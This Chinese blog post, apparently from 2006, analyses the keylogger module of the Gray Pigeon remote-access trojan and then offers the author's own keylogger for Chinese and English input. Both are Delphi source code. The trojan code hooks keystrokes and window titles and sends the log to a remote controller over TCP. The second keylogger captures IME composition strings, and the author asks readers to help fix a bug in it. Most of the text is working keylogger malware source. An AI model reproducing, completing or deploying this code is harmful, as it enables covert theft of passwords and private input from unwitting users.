灰鸽子键盘记录源码分析及一个中英文键盘记录代码

简介:
灰鸽子键盘记录源码分析及一个中英文键盘记录代码
2006年11月21日 星期二 下午 3:11
首先是:

var
LogHook: HHook = 0;

HookList: TStringList;

函数:

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
if iCode < 0 then
begin
   Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
   exit;
end;
if (iCode = HC_ACTION) then
begin
   pEvt := Pointer(DWord(lParam));

   FocusWnd := GetActiveWindow;
   if LastFocusWnd <> FocusWnd then
   begin
     if hookkey<>'' then
     begin
       HookList.Add(hookkey);
       hookkey :='';
     end;
     HookList.Add('======End=====');
     HookList.Add('=====begin====');
     GetWindowText(FocusWnd, Title, 256);
     LastFocusWnd := FocusWnd;
     Time := DateTimeToStr(Now);
     HookList.Add(Time + Format('Title:%s', [Title]));
   end;

   if pEvt.message = WM_KEYDOWN then
   begin
     vKey := LOBYTE(pEvt.paramL);
     iShift := GetKeyState($10);
     iCapital := GetKeyState($14);
     iNumLock := GetKeyState($90);
     bShift := ((iShift and KeyMask) = KeyMask);
     bCapital := ((iCapital and 1) = 1);
     bNumLock := ((iNumLock and 1) = 1);

     //HookList.Add('这是vKey:'+inttostr(vKey));

     if ((vKey >= 48) and (vKey <= 57)) then
     begin
       if not bShift then
         begin
         ch := Char(vKey);
         end else begin
         case vKey of
           48: ch := ')';
           49: ch := '!';
           50: ch := '@';
           51: ch := '#';
           52: ch := '$';
           53: ch := '%';
           54: ch := '^';
           55: ch := '&';
           56: ch := '*';
           57: ch := '(';
         end;
       end;
       hookkey:=hookkey+ch;
     end;
     if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
     begin
     if not bCapital then
     begin
       if bShift then
         ch := Char(vKey)
       else
         ch := Char(vKey + 32);
     end
     else begin
       if bShift then
         ch := Char(vKey + 32)
       else
         ch := Char(vKey);
     end;
     hookkey:=hookkey+ch;
     end;
     if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
     if bNumLock then
     hookkey:=hookkey+Char(vKey - 96 + 48);
     ch:='n';
     if (VKey > 105) and (VKey <= 111) then
     begin
     case vKey of
       106: ch := '*';
       107: ch := '+';
       109: ch := '-';
       111: ch := '/';
     else
       ch := 'n';
     end;
     end;
     if (vKey >= 186) and (vKey <= 222) then // 其他键
     begin
     case vKey of
       186: if not bShift then ch := ';' else ch := ':';
       187: if not bShift then ch := '=' else ch := '+';
       188: if not bShift then ch := ',' else ch := '<';
       189: if not bShift then ch := '-' else ch := '_';
       190: if not bShift then ch := '.' else ch := '>';
       191: if not bShift then ch := '/' else ch := '?';
       192: if not bShift then ch := '`' else ch := '~';
       219: if not bShift then ch := '[' else ch := '{';
       220: if not bShift then ch := '\' else ch := '|';
       221: if not bShift then ch := ']' else ch := '}';
       222: if not bShift then ch := Char(27) else ch := '"';
     else
       ch := 'n';
     end;
     end;
     if ch <> 'n' then
     hookkey:=hookkey+ ch;

     // if (wParam >=112 && wParam<=123) // 功能键    [F1]-[F12]
     if (vKey >= 8) and (vKey <= 46) then //方向键
     begin
     ch := ' ';
     case vKey of
       8: str := '[退格]';
       9: str := '[TAB]';
       13: str := '[Enter]';
       32: str := '[空格]';
       33: str := '[PageUp]';
       34: str := '[PageDown]';
       35: str := '[End]';
       36: str := '[Home]';
       37: str := '[LF]';
       38: str := '[UF]';
       39: str := '[RF]';
       40: str := '[DF]';
       45: str := '[Insert]';
       46: str := '[Delete]';
     else
       ch := 'n';
     end;
     if ch <> 'n' then
     begin
       //if PrvChar<>Char(vKey) then
       //begin
         hookkey :=hookkey+str;
       // PrvChar := Char(vKey);
       //end;
     end;
     end;
   end ;
{    else
     if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
     begin
     if hookkey<>'' then
       begin
         HookList.add(Hookkey);
         hookkey:='';
       end;
     if pEvt.message = WM_LBUTTONDOWN then
       TempStr := '鼠标左键: '
     else
       TempStr := '鼠标右键: ';
     HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
     end;
   //CloseFile(LogFile); }
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;


/////////////////////////////////////////////////////////////////////////////////////

if StrTmpList[1]='039' then
   begin    {启动键盘记录}
   if LogHook = 0 then
     begin
       Request:='Cmd009';        //启动键盘记录成功!查看记录前请先终止键盘记录!
       LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
     end else begin
       Request:='Cmd010';        //键盘记录已经启动过了!
     end;
   if Request='' then Request:='Cmd011';      //启动键盘记录成功!查看记录前请先终止键盘记录!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='040' then
   begin    {终止键盘记录}
   try
     if LogHook <> 0 then
       begin
       UnhookWindowsHookEx(LogHook);
       LogHook := 0;
       HookList.Add(Hookkey);
       HookList.Add('*********End**********');
       Hookkey:='';
       end;
   except
   end;
   Request:='Cmd012';      //终止键盘记录成功!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='041' then
   begin    {查看键盘记录}
   Request:=HookList.Text;
   if Request='' then
   begin
     Request:='NULL'; //键盘记录为空.
   end;
   SendStreamToClient(IdTCPClient1,'018',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='042' then
   begin    {清空键盘记录}
   try
     HookList.Clear;
   except
   end;
   Request:='Cmd014';      //清空键盘记录完成!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;



function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;

这是一个钩子的回调函数。当用下边用SetWindowsHookEx安装了一个WH_JOURNALRECORD类型的钩子成功后,
就会调用这个回调函数,也就是执行回调函数的功能

WH_JOURNALRECORD 类型的钩子用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,
然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD 钩子是全局钩子,它不能象线程特定钩子一样使用。

像黑洞那样的能记录下输入的汉字和字符的一般都 是安装WH_GETMESSAGE类型 的钩子

然后用回调函数过滤出英文字符和汉字。
++++++++++++++++++++++++++++++++++++++++++++++++
一个中英文键盘记录代码 

一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的)
一个问题:自己测试发现遇到退格键时会记录成 [<=](多出前面一个),下面给出关键代码,大家试试看还有

什么问题,如何解决?


function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;
var
pcs:pMSG;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PMSG(lparam);
if pcs^.message = WM_KEYUP then
begin
   if pcs^.wParam<$30 then
   begin
   if pcs^.wParam=VK_UP then ToFileProc('[↑]')
   else
   if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
   else
   if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
   else
   if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
   else
   if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
   else
   if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
   else
   if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
   else
   if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
   else
   if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
   else
   if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
   end;
end
else
if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
begin
   if not (IsDBCSleadByte(pcs^.wParam)) then
   begin
   if (wParam and PM_REMOVE)>0 then
   begin
     if pcs^.wParam=VK_SPACE then ToFileProc(' ')
     else
     if pcs^.wParam=VK_RETURN then ToFileProc('#10')
     else
     ToFileProc(char(pcs^.wParam AND $FF))
   end;
   end;
end;
end;
pcs:=nil;
end;

function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PCWPSTRUCT(lparam);
if PCs^.message = WM_IME_COMPOSITION then
   begin
   hFocus := GetFocus();
   HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
   if HIMC = 0 then Exit;
   //将ImmGetCompositionString的获取长度设为0来获取字符串大小.
   dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
   if dwLen > 0 then
   begin
     // 再调用一次.ImmGetCompositionString获取字符串
     if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
     begin
     if strcomp(cchar,cchar2)<>0 then
     ToFileProc(cchar);
     strcopy(cchar2,cchar);
     ZeroMemory(@cchar,20);
     end;
   end;
   ImmReleaseContext(hFocus, HIMC);
end;
end;
pcs:=nil;
end;

删除前面一个字符串就好了
这个东西你可以先声明一个string.
然后有消息进入的时候事先读取已经存储的字符串
然后删除前面一位再写回去就好了
或者你直接操作字符串也可以把当前输入指针的前面一位给替换撑0x00就OK了
本文转自 bilinyee博客,原文链接:       http://blog.51cto.com/215363/916121 如需转载请自行联系原作者            


相关文章
|
安全 Oracle Java
edge浏览器加载java插件
edge浏览器加载java插件
708 1
|
Java
JAVA万能:JNLP在浏览器上以WEB方式运行JAVA程序
JAVA万能:JNLP在浏览器上以WEB方式运行JAVA程序
603 0
|
4天前
|
存储 关系型数据库 分布式数据库
PostgreSQL 18 发布,快来 PolarDB 尝鲜!
PostgreSQL 18 发布,PolarDB for PostgreSQL 全面兼容。新版本支持异步I/O、UUIDv7、虚拟生成列、逻辑复制增强及OAuth认证,显著提升性能与安全。PolarDB-PG 18 支持存算分离架构,融合海量弹性存储与极致计算性能,搭配丰富插件生态,为企业提供高效、稳定、灵活的云数据库解决方案,助力企业数字化转型如虎添翼!
|
15天前
|
弹性计算 关系型数据库 微服务
基于 Docker 与 Kubernetes(K3s)的微服务:阿里云生产环境扩容实践
在微服务架构中,如何实现“稳定扩容”与“成本可控”是企业面临的核心挑战。本文结合 Python FastAPI 微服务实战,详解如何基于阿里云基础设施,利用 Docker 封装服务、K3s 实现容器编排,构建生产级微服务架构。内容涵盖容器构建、集群部署、自动扩缩容、可观测性等关键环节,适配阿里云资源特性与服务生态,助力企业打造低成本、高可靠、易扩展的微服务解决方案。
1313 5
|
2天前
|
监控 JavaScript Java
基于大模型技术的反欺诈知识问答系统
随着互联网与金融科技发展,网络欺诈频发,构建高效反欺诈平台成为迫切需求。本文基于Java、Vue.js、Spring Boot与MySQL技术,设计实现集欺诈识别、宣传教育、用户互动于一体的反欺诈系统,提升公众防范意识,助力企业合规与用户权益保护。
|
14天前
|
机器学习/深度学习 人工智能 前端开发
通义DeepResearch全面开源!同步分享可落地的高阶Agent构建方法论
通义研究团队开源发布通义 DeepResearch —— 首个在性能上可与 OpenAI DeepResearch 相媲美、并在多项权威基准测试中取得领先表现的全开源 Web Agent。
1357 87
|
2天前
|
JavaScript Java 大数据
基于JavaWeb的销售管理系统设计系统
本系统基于Java、MySQL、Spring Boot与Vue.js技术,构建高效、可扩展的销售管理平台,实现客户、订单、数据可视化等全流程自动化管理,提升企业运营效率与决策能力。